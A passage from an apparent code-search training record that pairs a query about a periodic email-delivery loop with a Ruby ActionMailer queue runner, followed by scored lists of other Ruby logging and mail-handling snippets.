"def verbose!\n @verbose = true\n end",
"def log(message)\n\t\tif !@progress_dialog.nil?\n\t\t\t@progress_dialog.logMessage(message)\n\t\telse\n\t\t\tputs message\n\t\tend\n\tend",
"def print message=nil\n log(:info, message) unless Qcmd.silent?\n end",
"def log_message(message, options = {})\n app_logger.send(options.fetch(:log_method, 'debug'), message)\n end",
"def debug(message)\n warn \"==== VLO DEBUG: \" + message if ENV[\"VLO_DEBUG\"] == 'true'\nend",
"def log(message)\n @__result.add_log(message)\n true\n end",
"def verbose_print(text)\n @output += %(#{text}\\n)\n puts text if @verbose\n end",
"def log(msg)\n puts msg\n end",
"def log(message)\n open(\"#{logdir}/brief.log\", 'a') { |f| f.puts \"#{Time.now}: #{message}\" }\n end",
"def debug(message)\n return if quiet?\n say('[DEBUG] ' + message, :yellow) if $DEBUG\n end",
"def warn message\n super message if @verbosity > 1\n end",
"def info_and_log(message)\n @ui.info(message)\n @logger.info(message)\n end",
"def log(message)\n @@logger.debug(message) unless Rails.env.test?\n end",
"def log(msg)\n STDERR.print \"** \", msg, \"\\n\"\n end",
"def log(message)\n puts Time.now.strftime('[%d-%b-%Y %H:%M:%S] ') + message\n end",
"def log_info(message)\n logger.info(message) if logger && logger.info?\n end",
"def debug(message)\n puts message if debug?\n end",
"def debug_message message\n if @quiet\n # noop\n \":\"\n else\n \">&2 echo #{DEBUG_HEADER} #{message}\"\n end\n end",
"def info(msg) log(6, msg); end",
"def say_debug(message)\n puts yellow(message) if self.debug\n end",
"def verbose(&block)\n with_verbose(true, &block)\n end",
"def verbose(&block)\n with_verbose(true, &block)\n end",
"def msg(text)\n print text if VERBOSE\n STDOUT.flush\nend",
"def log (msg, **kwargs) Log.write(msg, :info, kwargs) end",
"def log_info(message)\n log(message, DebugType::INFO)\n end",
"def log(msg)\n Serv::Log.info(Time.now.to_s+': '+msg+\"\\n\")\n end",
"def log(msg)\n logger.info(\"#{tag} #{msg}\")\n end",
"def debug_msg msg\n puts msg if @options[:debug]\n end",
"def verbose!\n @actor << 'VERBOSE'\n @actor.wait\n end",
"def info(message)\n logging.call(message)\n end",
"def write(level, message)\n if Boxlet.debug?\n if message.is_a? String\n puts message\n else\n pp message\n end\n else\n if level == :info\n pp message\n end\n @log.call(level, message)\n end\n end",
"def vputs(s)\n $stderr.puts s if verbose\n end",
"def trace( *msg )\n\t\treturn unless $VERBOSE\n\t\t$stderr.puts( *msg )\n\tend"
] |
[
"0.8352958",
"0.8157226",
"0.8157226",
"0.81308246",
"0.80214804",
"0.80214804",
"0.7967452",
"0.7953367",
"0.7953367",
"0.79129297",
"0.7716047",
"0.7712895",
"0.74951714",
"0.7466741",
"0.7466741",
"0.7459356",
"0.7459356",
"0.73118764",
"0.73118764",
"0.73118764",
"0.72823673",
"0.71197635",
"0.70841366",
"0.7079009",
"0.70737106",
"0.70587015",
"0.70098424",
"0.70008165",
"0.69858",
"0.691646",
"0.68847406",
"0.6880886",
"0.6836363",
"0.6818243",
"0.6814045",
"0.6808556",
"0.6780088",
"0.67726624",
"0.67240316",
"0.67007935",
"0.6683627",
"0.66822606",
"0.6652102",
"0.66355526",
"0.6604955",
"0.6603586",
"0.65919566",
"0.65864265",
"0.6468807",
"0.6447263",
"0.6445188",
"0.6439957",
"0.64398074",
"0.64200425",
"0.64052564",
"0.64006424",
"0.6400342",
"0.63979214",
"0.63914037",
"0.63914037",
"0.63914037",
"0.63901746",
"0.6364089",
"0.63270164",
"0.63186234",
"0.63011354",
"0.62611234",
"0.6258035",
"0.6235548",
"0.6235444",
"0.6224534",
"0.620504",
"0.6202202",
"0.6201046",
"0.6197276",
"0.6190821",
"0.61900634",
"0.6187266",
"0.61769325",
"0.617068",
"0.61681354",
"0.6167104",
"0.61644185",
"0.6163992",
"0.6158442",
"0.6158032",
"0.61439455",
"0.6138887",
"0.6138887",
"0.61332875",
"0.61275584",
"0.6122457",
"0.61208695",
"0.61174816",
"0.6112",
"0.6110523",
"0.6102236",
"0.60908705",
"0.60903686",
"0.60855395"
] |
0.66669965
|
42
|
Scans for emails and delivers them every delay seconds. Only returns if once is true.
|
def run
install_signal_handlers
loop do
begin
cleanup
emails = find_emails
deliver(emails) unless emails.empty?
rescue ActiveRecord::Transactions::TransactionError
end
break if @once
sleep @delay
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def mail_flush\n @mails_mutex.synchronize do\n self.log_puts(\"Flushing mails.\") if @debug\n \n if @mails_waiting.empty?\n self.log_puts(\"No mails to flush - skipping.\") if @debug\n return false\n end\n \n self.log_puts(\"Trying to ping Google to figure out if we are online...\") if @debug\n status = Ping.pingecho(\"google.dk\", 10, 80)\n if !status\n self.log_puts(\"We are not online - skipping mail flush.\")\n return false #Dont run if we dont have a connection to the internet and then properly dont have a connection to the SMTP as well.\n end\n \n #Use subprocessing to avoid the mail-framework (activesupport and so on, also possible memory leaks in those large frameworks).\n self.log_puts(\"Starting subprocess for mailing.\") if @debug\n require \"ruby_process\"\n ::Ruby_process::Cproxy.run do |data|\n subproc = data[:subproc]\n subproc.static(:Object, :require, \"rubygems\")\n subproc.static(:Object, :require, \"mail\")\n subproc.static(:Object, :require, \"#{Knj.knjrbfw_path}/../knjrbfw.rb\")\n \n self.log_puts(\"Flushing emails.\") if @debug\n @mails_waiting.each do |mail|\n begin\n self.log_puts(\"Sending email: #{mail.__id__}\") if @debug\n if mail.send(:proc => subproc)\n self.log_puts(\"Email sent: #{mail.__id__}\") if @debug\n @mails_waiting.delete(mail)\n end\n rescue Timeout::Error\n #ignore - \n rescue => e\n @mails_waiting.delete(mail)\n self.handle_error(e, :email => false)\n end\n \n sleep 1 #sleep so we dont take up too much bandwidth.\n end\n end\n \n return nil\n end\n end",
"def find_emails\n options = { :conditions => ['last_send_attempt < ?', Time.now.to_i - 300] }\n options[:limit] = batch_size unless batch_size.nil?\n mail = ActionMailer::Base.email_class.find :all, options\n\n log \"found #{mail.length} emails to send\"\n mail\n end",
"def check\n # if the server doesn't support us, we just do nothing.\n return unless Config.server.respond_to?(:broadcast_message)\n\n info \"starting email checker loop\"\n\n Thread.new do\n loop do\n debug \"checking email\"\n\n begin\n with_imap do |imap|\n imap.search(['NOT', 'DELETED']).each do |message_id|\n info \"mail found, handling\"\n handle_message_id(imap, message_id)\n end\n end\n\n rescue Exception => ex\n error \"checking email: #{ex}\"\n end\n\n break unless poll_email?\n\n sleep (Config.email['interval'] || 30)\n end\n end\n end",
"def send_self_eval_reminders\n users = User.all.select{|u| u.has_current_registration && u.current_registration.participant && !u.current_registration.has_complete_eval}\n @sent = []\n users.each do |u| \n if u.bounced_at \n Rails.logger.error(\"Found bounced email #{u.email} in sending self eval_reminder\")\n else\n begin\n RegistrationMailer.self_eval_reminder(u)\n puts(\"Succeed on #{u.email}\")\n @sent << u.email\n rescue => e\n puts(\"Failed on #{u.email}\")\n Rails.logger.error(\"Send eval throws #{e}, skipping #{u.email}\")\n end\n end\n end\n end",
"def scan\n @@scanning = true\n if AppVariable.exists?(name: 'latest_message_epoch_time')\n thr = Thread.new do\n GmailReader.read_bank_notices(AppVariable.find(1).value)\n @@scanning = false\n end\n else\n @@scanning = false\n end\n head :no_content\n end",
"def run()\r\n\t\twhile 0\r\n\t\t\tbegin \r\n\t\t\t\tlog.info 'Connecting to email server...'\r\n\t\t\t\tif @pop.connect() \r\n\t\t\t\t\t#make the db connection\r\n log.info \"Processing #{@pop.message_count} messages...\"\r\n\r\n\t\t\t\t\tActiveRecord::Base.establish_connection(@config[@db_env])\r\n @pop.each_mail do |m| \r\n proc_msg(m)\t\t\t\t\t\t\t\r\n end\r\n\t\t\t\t\tActiveRecord::Base.connection.disconnect!\r\n\r\n\t\t\t\t\t@pop.disconnect()\r\n\t\t\t\t\tlog.info \"Processing complete.\"\r\n\t\t\t\t\tlog.info(\"\")\r\n\t\t\t\telse\r\n\t\t\t\t\tlog.error \"Could not connect to mail server!\\n\"\r\n\t\t\t\t\tlog.info(\"\")\r\n\t\t\t\tend\r\n\t\t\trescue Exception => e\r\n\t\t\t\tlog_exception(e)\r\n\t\t\t\tMessage.send_error_email(\"Error processing an SMS message.\", e)\r\n\t\t\t\t@pop.disconnect()\r\n\t\t\t\tsleep(30)\r\n\t\t\tend\r\n\t\t\tsleep(15)\r\n\t\tend\t\r\n\t\tlog.close\r\n\tend",
"def capture_emails(&block)\n original_count = ActionMailer::Base.deliveries.size\n deliver_enqueued_emails(&block)\n new_count = ActionMailer::Base.deliveries.size\n diff = new_count - original_count\n ActionMailer::Base.deliveries.last(diff)\n end",
"def receive_emails_pop\n self.config_emails.each do |config_email|\n case (config_email.server_email)\n when 'pop.gmail.com'\n Net::POP3.enable_ssl(OpenSSL::SSL::VERIFY_NONE)\n else\n \"\"\n end\n Net::POP3.start(config_email.server_email, config_email.port, config_email.username, ConfigEmail.decryption(config_email.password_encrypted)) do |pop|\n if pop.mails.empty?\n puts 'No mails.'\n else\n pop.each_mail do |mail|\n UserMailer.current_vendor_config_email(config_email)\n UserMailer.receive(mail.pop)\n mail.delete\n end\n pop.finish\n end\n end\n end\n end",
"def send_delayed_validation_email\n #get delayed time\n delayed_time = self.time + 1.hour + 45.minutes\n #get info for emails\n booking_name = self.booking_name\n email = self.restaurant.principle_email\n restaurant_name = self.restaurant.name\n #send delayed emails\n if delayed_time > Time.now\n ReservationValidationEmailWorker.perform_at(delayed_time, booking_name, email, restaurant_name )\n end\n end",
"def deliver(emails)\n settings = [\n smtp_settings[:domain],\n (smtp_settings[:user] || smtp_settings[:user_name]),\n smtp_settings[:password],\n smtp_settings[:authentication]\n ]\n\n smtp = Net::SMTP.new(smtp_settings[:address], smtp_settings[:port])\n if smtp.respond_to?(:enable_starttls_auto)\n smtp.enable_starttls_auto unless smtp_settings[:tls] == false\n else\n settings << smtp_settings[:tls]\n end\n\n smtp.start(*settings) do |session|\n @failed_auth_count = 0\n until emails.empty? do\n email = emails.shift\n begin\n res = session.send_message email.mail, email.from, email.to\n email.destroy\n log \"sent email %011d from %s to %s: %p\" %\n [email.id, email.from, email.to, res]\n rescue Net::SMTPFatalError => e\n log \"5xx error sending email %d, removing from queue: %p(%s):\\n\\t%s\" %\n [email.id, e.message, e.class, e.backtrace.join(\"\\n\\t\")]\n email.destroy\n session.reset\n rescue Net::SMTPServerBusy => e\n log \"server too busy, stopping delivery cycle\"\n return\n rescue Net::SMTPUnknownError, Net::SMTPSyntaxError, TimeoutError, Timeout::Error => e\n email.last_send_attempt = Time.now.to_i\n email.save rescue nil\n log \"error sending email %d: %p(%s):\\n\\t%s\" %\n [email.id, e.message, e.class, e.backtrace.join(\"\\n\\t\")]\n session.reset\n end\n end\n end\n rescue Net::SMTPAuthenticationError => e\n @failed_auth_count += 1\n if @failed_auth_count >= MAX_AUTH_FAILURES then\n log \"authentication error, giving up: #{e.message}\"\n raise e\n else\n log \"authentication error, retrying: #{e.message}\"\n end\n sleep delay\n rescue Net::SMTPServerBusy, SystemCallError, OpenSSL::SSL::SSLError\n # ignore SMTPServerBusy/EPIPE/ECONNRESET from Net::SMTP.start's ensure\n end",
"def get_mails()\n emails = Mail.find(:what => :first, :count => 20, :order => :asc)\n relevant = filter_mails emails\n parse_mails relevant\n end",
"def tick \n mailer.messages.each do |request| \n response = mailer.new_message(:to => request.from, \n :from => settings.service.default_sender)\n\n process_request(request, response) && response.deliver\n end\n rescue StandardError => e\n logger.fatal(\"SERVER ERROR\") { \"#{e.inspect}\\n\" + e.backtrace.join(\"\\n \") }\n raise\n end",
"def poll!\n find_and_process_next_available(messages)\n end",
"def polled_delivery( recipient_email , pending_deliveries )\n @recipient_email = recipient_email \n @user = User.find_by_email @recipient_email \n @pending_deliveries = pending_deliveries\n time = Time.now\n \n mail( :to => recipient_email, \n :subject => \"pilipoto | Updates (#{pending_deliveries.count}): #{time}\", \n :bcc => [\"rajakuraemas@gmail.com\"] )\n \n end",
"def snow_emergency_in_effect\n ret = false\n\n imap = Net::IMAP.new('imap.gmail.com', { :port => 993, :ssl => true })\n imap.login('canhazparking', 'yesIcanz!');\n imap.select('INBOX')\n imap.search([\"SUBJECT\", \"Snow emergency\", \"SENTSINCE\", (Time.now - 1).strftime(\"%d-%b-%Y\")]).each do |msgid|\n ret = true\n break\n end\n\n imap.logout()\n imap.disconnect()\n\n return ret\nend",
"def watchMail(imap, folder)\n \n # Loop for checking message increase in the folder\n begin\n \n imap.select(folder)\n \n # Get the current folder size\n fsize = imap.status(folder, [\"MESSAGES\"])\n csize = fsize[\"MESSAGES\"]\n \n loop do\n fsize = imap.status(folder, [\"MESSAGES\"])\n if fsize[\"MESSAGES\"] > csize\n message_ids = imap.uid_search(\"ALL\")\n uid = message_ids.last\n email = imap.uid_fetch(uid, \"ENVELOPE\")[0].attr[\"ENVELOPE\"]\n pp \"[#{email.from[0].name}] #{email.subject}\"\n csize = fsize[\"MESSAGES\"]\n else\n sleep(10)\n end\n end\n rescue => e\n exit(1)\n end\nend",
"def getEmails(searchCriteria = Hash.new)\n if searchCriteria.is_a? String\n search = searchCriteria\n searchCriteria = Hash.new\n searchCriteria['search'] = search\n end\n searchCriteria['key'] = @API_KEY\n searchCriteria['mailbox'] = @MAILBOX\n for i in 1..10\n response = RestClient.get(\"#{@BASE_URI}/emails\", {:params => searchCriteria})\n data = JSON.parse(response.body)\n emails = data.map { |em| Email.new(em) }\n\n if !emails.nil? && emails.length>0\n return emails\n end\n # back off and retry\n sleep(i*i)\n end\n end",
"def tick \n mailer.messages.each do |request| \n response = mailer.new_message(:to => request.from, \n :from => settings.service.default_sender)\n \n begin\n apps.each do |app|\n app.call(:request => request, \n :response => response, \n :settings => settings,\n :logger => logger)\n end\n rescue StandardError => e\n logger.info(\"FAIL\") { e.to_s }\n logger.debug(\"FAIL\") { \"#{e.inspect}\\n\"+e.backtrace.join(\"\\n \") }\n\n if settings.service.raise_exceptions\n raise\n else\n next\n end\n end\n\n response.deliver\n end\n rescue Exception => e\n logger.fatal(\"Caught exception: #{e}\\n\\n#{e.backtrace.join(\"\\n\")}\")\n raise\n end",
"def search(from,after)\n emails = @yahoo_api.find_emails from,after\n\n emails.in_groups_of(10,false).each do |group| \n mids = group.map{|email| email[:mid]}\n email_contents = @yahoo_api.fetch_email_contents mids\n \n mails = email_contents.map do |email_content| \n text = CGI.unescapeHTML(CGI.unescapeHTML(\n email_content[:text]))\n mail = Mail.new(\n :message_id => email_content[:mid],\n :date => email_content[:date],\n :subject => email_content[:subject],\n :body => text)\n mail.html_part = Mail::Part.new do\n content_type 'text/html; charset=UTF-8'\n body text\n end\n mail\n end \n\n yield mails if block_given?\n end\n end",
"def start(password)\n\n # This checks to make sure a user has uploaded data to be sent\n if data.blank?\n return { success: false, message: \"Please upload data to send emails!\" } \n end\n \n # This is an initalization of the lists of items that will be sent to the mailer\n emails = []\n subjects = []\n templates = []\n files = campaign.file_paths\n\n # Parse the CSV and aquire the headers\n rows = CSV.parse(data, headers: true)\n headers = rows.headers\n\n # Iterate through the rows in the CSV\n rows.each_with_index do |row, index|\n # Seed the subjects and templates with the default data\n subjects[index] = subject\n templates[index] = template.gsub(\"<p><br></p>\", \"\")\n\n # Iterate through each of the columsn in the row\n headers.each do |header|\n # Clean the header by parametrizing it and changing dashes to underscores\n cleanHeader = header.parameterize.underscore\n\n # Check if you are in the email column\n if cleanHeader == \"email\"\n # If you are in the email column, and the email is not a valid email, stop the sending process\n if !valid_email?(row[header])\n return { success: false, message: \"You seem to have invalid emails in your CSV. Please reupload and try again!\" } \n end\n\n # Add the current email to email list\n emails << row[header]\n end \n\n # Update the template at the proper index with the variables filled in\n subjects[index] = subjects[index].gsub(\"{{#{cleanHeader}}}\", row[header]) \n templates[index] = templates[index].gsub(\"{{#{cleanHeader}}}\", row[header]) \n end\n end\n\n # Calls email service to mass send the emails (or at least start the process)\n send_email = EmailService.bulk_email(credential, emails, subjects, templates, files, password)\n\n # If email sending process was started, return true, otherwise return false and message\n if send_email[:success]\n return { success: true }\n else\n return { success: false, message: send_email[:message] }\n end\n end",
"def run\n log \"Flagging tasty messages\"\n\n message_count = 0\n mailboxes = find_mailboxes\n\n mailboxes.each do |mailbox|\n @mailbox = mailbox\n @imap.select @mailbox\n log \"Selected #{@mailbox}\"\n\n message_count += process_unlearned_flagged\n message_count += process_tasty_unflagged\n message_count += process_bland_flagged\n message_count += process_unlearned\n end\n\n log \"Done. Found #{message_count} messages in #{mailboxes.length} mailboxes\"\n end",
"def send_to_all\n User.newsletters_allowed.each do |user|\n UserMailer.delay.new_newsletter(user, self)\n end\n end",
"def get_mails\n if params[:action] == 'get_mails'\n Log.add_info(request, params.inspect)\n end\n\n if !params[:pop].nil? and params[:pop] == 'true'\n\n mail_account_id = params[:mail_account_id]\n SqlHelper.validate_token([mail_account_id])\n\n begin\n new_arrivals_h = {}\n\n if mail_account_id.blank?\n mail_accounts = MailAccount.find_all(\"user_id=#{@login_user.id}\")\n mail_accounts.each do |mail_account|\n emails = Email.do_pop(mail_account)\n unless emails.empty?\n new_arrivals_h[mail_account.id] ||= []\n new_arrivals_h[mail_account.id] |= emails\n end\n end\n else\n mail_account = MailAccount.find(mail_account_id)\n emails = Email.do_pop(mail_account)\n unless emails.empty?\n new_arrivals_h[mail_account.id] ||= []\n new_arrivals_h[mail_account.id] |= emails\n end\n end\n\n unless new_arrivals_h.empty?\n flash[:notice] = t('mail.received', :count => new_arrivals_h.values.flatten.length)\n\n # FEATURE_MAIL_FILTERS >>>\n new_arrivals_h.each do |mail_account_id, emails|\n mail_filters = MailFilter.get_for(mail_account_id, true, MailFilter::TRIGGER_CHECKING)\n filter_next = true\n\n emails.each do |email|\n mail_filters.each do |filter|\n filter_next = filter.execute(email)\n break unless filter_next\n end\n break unless filter_next\n end\n end\n # FEATURE_MAIL_FILTERS <<<\n end\n rescue => evar\n if evar.to_s.starts_with?('ERROR:')\n flash[:notice] = evar.to_s\n else\n flash[:notice] = 'ERROR:' + t('mail.receive_error') + '<br/>' + evar.to_s\n end\n Log.add_error(nil, evar)\n end\n end\n\n @folder_id = params[:id]\n SqlHelper.validate_token([@folder_id])\n\n if @folder_id == TreeElement::ROOT_ID.to_s\n @emails = nil\n else\n=begin\n# @emails = MailFolder.get_mails_to_show(@folder_id, @login_user)\n=end\n# FEATURE_PAGING_IN_TREE >>>\n @sort_col = (params[:sort_col] || 'sent_at')\n @sort_type = (params[:sort_type] || 'DESC')\n SqlHelper.validate_token([@sort_col, @sort_type], ['.'])\n\n sql = EmailsHelper.get_list_sql(@login_user, params[:keyword], [@folder_id], @sort_col, @sort_type, 0, nil)\n @email_pages, @emails, @total_num = paginate_by_sql(Email, sql, 10)\n# FEATURE_PAGING_IN_TREE <<<\n end\n\n session[:mailfolder_id] = @folder_id\n\n render(:partial => 'ajax_folder_mails', :layout => false)\n end",
"def run!(frequency = 0)\n while @jabber.connected?\n @jabber.received_messages do |message|\n start = Time.now\n \n from = message.from.to_s.split('/').first\n parts = message.body.strip.split(':', 2)\n hash = parts.first\n path_parts = parts.last.split('?', 2)\n request = Request.new(hash, from, path_parts.first, ((path_parts.length == 2) ? path_parts.last : ''))\n # TODO: DRY this portion up.\n if @debug\n # Allow errors to fall through and kill the process.\n controller_response = @controller.route!(request)\n response = {:status => 200, :data => ''}.merge(controller_response)\n respond_to request, :status => response[:status], :data => response[:data]\n puts \"Responded to '#{from}' in #{(Time.now - start).to_s} seconds.\"\n else\n # Capture the errors so that the server keeps on running.\n begin\n controller_response = @controller.route!(request)\n response = {:status => 200, :data => ''}.merge(controller_response)\n respond_to request, :status => response[:status], :data => response[:data]\n rescue\n respond_to request, :status => 500\n puts \"Error responding to #{message.from.to_s.strip}:\"\n puts $!\n else\n puts \"Responded to '#{from}' in #{(Time.now - start).to_s} seconds.\"\n end\n end\n #puts \"\\n\"\n end\n if frequency > 0\n # Keep it from hogging up CPU cycles.\n sleep frequency\n end\n end\n end",
"def search(from,after)\n @mailboxes.each do |mailbox|\n begin\n emails = mailbox.find :from => from,:after => after\n\n emails.reverse.in_groups_of(10,false).each do |group| \n uids = group.map(&:uid)\n fetch_data = @gmail.conn.uid_fetch uids,@imap_key_body\n \n mails = fetch_data.map do |fetch_datum| \n Mail.new CGI.unescapeHTML(fetch_datum.attr[@imap_key_body])\n end \n\n yield mails.reverse if block_given?\n end\n rescue Net::IMAP::NoResponseError \n end\n end #mailboxes\n end",
"def get_email_text(search_array, timeout=600, delete=true, since_sec=3600)\n # Only look for emails that have come in since the last hour\n since = Time.now - since_sec\n imap_search_terms = search_array.dup.push(\"SINCE\", since.strftime('%d-%b-%Y'))\n @log.debug(\"Searching for email with query: #{imap_search_terms}\")\n\n super imap_search_terms, timeout, delete, since_sec\n end",
"def process(&after_each_message)\n Mail.all(read_only: false, delete_after_find: true) do |message|\n message.skip_deletion unless process_message(message)\n after_each_message.call(message) if after_each_message\n end\n end",
"def notifier_to_users(recipients, task)\r\n recipients.each do |recipient, outcome|\r\n if recipient =~ /#{SEND_EMAILS_ONLY_FOR_DOMAIN}/\r\n puts \"Sending email to #{recipient}...\"\r\n begin\r\n Notifier.deliver_user_notification(recipient, outcome, task)\r\n rescue StandardError => err\r\n puts err.message\r\n end\r\n else\r\n puts \"Email to #{recipient} not sent\"\r\n end\r\n end\r\nend",
"def deliver\n #find all the abonnes emails\n @abonnes = Abonne.all.collect(&:email)\n # Sends the newsletter to each one\n @abonnes.each do |abonne|\n NewsletterMailer.deliver_newsletter(abonne, self)\n end\n # Set the delivered_at time to now\n self.update_attribute(:delivered_at, Time.now)\n end",
"def remember_message_sent\n Discourse.redis.setex(sent_recently_key, @opts[:limit_once_per].try(:to_i) || 86_400, 1) unless @opts[:limit_once_per] == false\n end",
"def find(options = {}, &block)\n options = validate_options(options)\n \n start do |pop3|\n mails = pop3.mails\n pop3.reset # Clears all \"deleted\" marks. This prevents non-explicit/accidental deletions due to server settings.\n mails.sort! { |m1, m2| m2.number <=> m1.number } if options[:what] == :last\n mails = mails.first(options[:count]) if options[:count].is_a? Integer\n \n if options[:what].to_sym == :last && options[:order].to_sym == :desc ||\n options[:what].to_sym == :first && options[:order].to_sym == :asc ||\n mails.reverse!\n end\n \n if block_given?\n mails.each do |mail|\n new_message = Mail.new(mail.pop)\n new_message.mark_for_delete = true if options[:delete_after_find]\n yield new_message\n mail.delete if options[:delete_after_find] && new_message.is_marked_for_delete? # Delete if still marked for delete\n end\n else\n emails = []\n mails.each do |mail|\n emails << Mail.new(mail.pop)\n mail.delete if options[:delete_after_find]\n end\n emails.size == 1 && options[:count] == 1 ? emails.first : emails\n end\n \n end\n end",
"def send_balance_reminders\n #test_emails = [\"hanks@pobox.com\"]\n test_emails = nil\n rr = Registration.where(year: Year.this_year).select{|r|r.balance > 0}\n rr = rr.select{|r|test_emails.include?(r.email)} if test_emails\n rr.each do |r| \n u = r.user\n if u.bounced_at\n puts(\"Found bounced email #{u.email} in sending balance reminder\")\n else\n begin\n RegistrationMailer.balance_reminder(r)\n puts(\"Succeeded on #{u.email}\")\n rescue => e\n puts(\"Failed on #{u.email} due to #{e}\")\n Rails.logger.error(\"Send balance throws #{e}, skipping #{u.email}\")\n end\n end\n end\n end",
"def send_email(gmail, body, mail_address)\n\n body_content = body\n mail_address = mail_address\n gmail = gmail\n\n gmail.deliver do\n to mail_address\n\n subject \"[Presentation] - The Hacking Project - Formation d'informatique gratuite\"\n html_part do\n content_type 'text/html; charset=UTF-8'\n body body_content\n end\n puts \"mail sent to #{mail_address}\"\n #in order to stay below the 10 mail / sec limit\n sleep(1)\n\n end\nend",
"def run\n self.report_type = :daily_tasks\n self.failures = []\n\n EmailSubmission.where(\n created_at: Date.yesterday...Date.current\n ).joins(:c100_application).find_each(batch_size: 25) do |record|\n reference_code = record.c100_application.reference_code\n\n find_failures(record, reference_code, COURT_EMAIL_TYPE)\n\n # Only if the applicant chose to receive a confirmation, otherwise\n # these emails are not sent and there is no need to do any check.\n find_failures(record, reference_code, USER_EMAIL_TYPE) if record.c100_application.receipt_email?\n end\n\n send_email_report if failures.any?\n end",
"def refresh_mailing_list\n emails = MassEmail.all.map{|m|m.email_address}\n File.open(File.join(Rails.root, 'config', 'mailing_list.txt')).each_line do |e|\n e = e.chomp\n unless emails.include?(e)\n url_code = new_random_url_code\n m = MassEmail.new(email_address: e, url_code: url_code)\n m.save!\n end\n end\n\n emails = MassEmail.all.map{|m|m.email_address}\n User.all.map{|u| u.email}.each do |e| \n unless emails.include?(e)\n url_code = new_random_url_code\n m = MassEmail.new(email_address: e, url_code: url_code)\n m.save!\n end\n end\nend",
"def refresh_mailing_list\n emails = MassEmail.all.map{|m|m.email_address}\n File.open(File.join(Rails.root, 'config', 'mailing_list.txt')).each_line do |e|\n e = e.chomp\n unless emails.include?(e)\n url_code = new_random_url_code\n m = MassEmail.new(email_address: e, url_code: url_code)\n m.save!\n end\n end\n\n emails = MassEmail.all.map{|m|m.email_address}\n User.all.map{|u| u.email}.each do |e| \n unless emails.include?(e)\n url_code = new_random_url_code\n m = MassEmail.new(email_address: e, url_code: url_code)\n m.save!\n end\n end\nend",
"def get_all_subdomains\n #grab all the current subdomains, do a search in google\n subdomains = @item.subdomains.map {|x| \"-\" + x.name}.join(\" \")\n f = get_sub_domains(subdomains)\n #add another delayed job, unless it returns nil.\n whisk = WhiskBatter.new(@item)\n whisk.delay.get_all_subdomains unless f.nil? \n end",
"def send_emails\n mail = build_mail\n get_recipients do |recipient|\n unless EmailResponse.exists?(email: recipient.email) # bounces & complaints\n mail.to = recipient.email\n replace_and_send_mail_safely(mail, recipient)\n end\n end\n end",
"def send_emails()\n #gather all users from subscriptions DB *users*\n users = []\n Subscription.all.each do |sub|\n if !users.include? sub.user_id\n users.push sub.user_id\n end\n end\n #for each user with subscriptions\n users.each do |user|\n products = []\n sCount = 0\n pCount = 0\n #go through the stores where they are subscribed at\n (Subscription.where(user_id: user.id).sort_by {rand}).each do |sub|\n #go through products of store\n specials = (Store.where(vendor_id: sub.vendor_id).first.products.where(is_special: true).sort_by {rand})\n while pCount <= 2 and !specials.empty? do\n product = specials.pop\n if product.updated_at > sub.updated_at\n products.push product\n sub.updated_at = Time.now\n sCount = sCount + 0.5\n end\n end\n pCount = 0\n sCount = sCount.round\n if sCount = 3\n SubscriptionMailer.subscription_digest(user, products).deliver_now\n end\n end\n if sCount > 0 and sCount < 3\n while sCount < 3\n randomRecommendations = Product.where(is_special: true).sample.store.products\n if randomRecommendations.count > 1\n products.merge *randomRecommendations.sample(2)\n else\n products.push randomRecommendations.sample\n end\n sCount = sCount + 1\n end\n SubscriptionMailer.subscription_digest(user, products).deliver_now\n end\n end\n\n #for loop for all users\n #*products*\n #go through each subscription for that user\n #subscription.where(user_id: id).sort_by {rand}\n #store count variable\n #for each subscription, look for 2 items from that vendor\n #if reach 3 stores send email\n #if reach end send email if products has more than 2 products\n #do nothing\n #dont forget to update the subscription if it gets added\n #algorithm\n end",
"def run\n loop { sleep 5 while @feeds.alive? }\n end",
"def resend_activation_emails\n User.where.not(person: nil).where.not(activation_code: nil).each do |user|\n if user.person\n logs = user.person.activation_email_logs\n if logs.count < MAX_ACTIVATION_EMAILS && (logs.empty? || logs.last.created_at < RESEND_ACTIVATION_EMAIL_DELAY.ago)\n Mailer.activation_request(user).deliver_later\n MessageLog.log_activation_email(user.person)\n end\n else\n Rails.logger.info(\"User with invalid person - #{user.id}\")\n end \n end\n end",
"def feedback_loop(msg)\n\n fbl = msg.parts.find { |x| x.content_type == \"message/feedback-report\" }\n unless fbl.nil?\n\n line = msg.to_s.split(\"\\n\").find { |x| x.start_with?(\"X-Rhombus-Subscriber-UUID:\") }\n unless line.nil?\n uuid = line.split(\":\")[1].strip\n s = EmailSubscriber.find_by(uuid: uuid)\n unless s.nil?\n s.update_attributes(reported_spam: true, last_error: fbl.body.to_s) unless @dry_run\n @logger.info s.email + \" reported spam\"\n return true\n end\n end\n\n end\n\n false\n end",
"def get_mails\n gmail = Gmail.connect @current_user.login, @current_user.password\n return nil unless gmail.logged_in?\n\n mails = gmail.inbox.find :unread, after: @filter_date + 1\n sent_mails = gmail.label(\"[Gmail]/Sent Mail\").find(afetr: @filter_date + 1)\n sent_mails.each { |e| mails << e }\n mails.sort_by!(&:date)\n\n end",
"def send_emails(number_of_emails)\r\n SendEmails(number_of_emails)\r\n end",
"def perform_delivery_later(mail)\n QueuedMailing.enqueue(mail)\n end",
"def find(options={}, &block)\n options = validate_options(options)\n\n start do |imap|\n options[:read_only] ? imap.examine(options[:mailbox]) : imap.select(options[:mailbox])\n uids = imap.uid_search(options[:keys], options[:search_charset])\n uids.reverse! if options[:what].to_sym == :last\n uids = uids.first(options[:count]) if options[:count].is_a?(Integer)\n uids.reverse! if (options[:what].to_sym == :last && options[:order].to_sym == :asc) ||\n (options[:what].to_sym != :last && options[:order].to_sym == :desc)\n\n if block_given?\n uids.each do |uid|\n uid = options[:uid].to_i unless options[:uid].nil?\n fetchdata = imap.uid_fetch(uid, ['RFC822', 'FLAGS'])[0]\n new_message = Mail.new(fetchdata.attr['RFC822'])\n new_message.mark_for_delete = true if options[:delete_after_find]\n\n if block.arity == 4\n yield new_message, imap, uid, fetchdata.attr['FLAGS']\n elsif block.arity == 3\n yield new_message, imap, uid\n else\n yield new_message\n end\n\n imap.uid_store(uid, \"+FLAGS\", [Net::IMAP::DELETED]) if options[:delete_after_find] && new_message.is_marked_for_delete?\n break unless options[:uid].nil?\n end\n imap.expunge if options[:delete_after_find]\n else\n emails = []\n uids.each do |uid|\n uid = options[:uid].to_i unless options[:uid].nil?\n fetchdata = imap.uid_fetch(uid, ['RFC822'])[0]\n emails << Mail.new(fetchdata.attr['RFC822'])\n 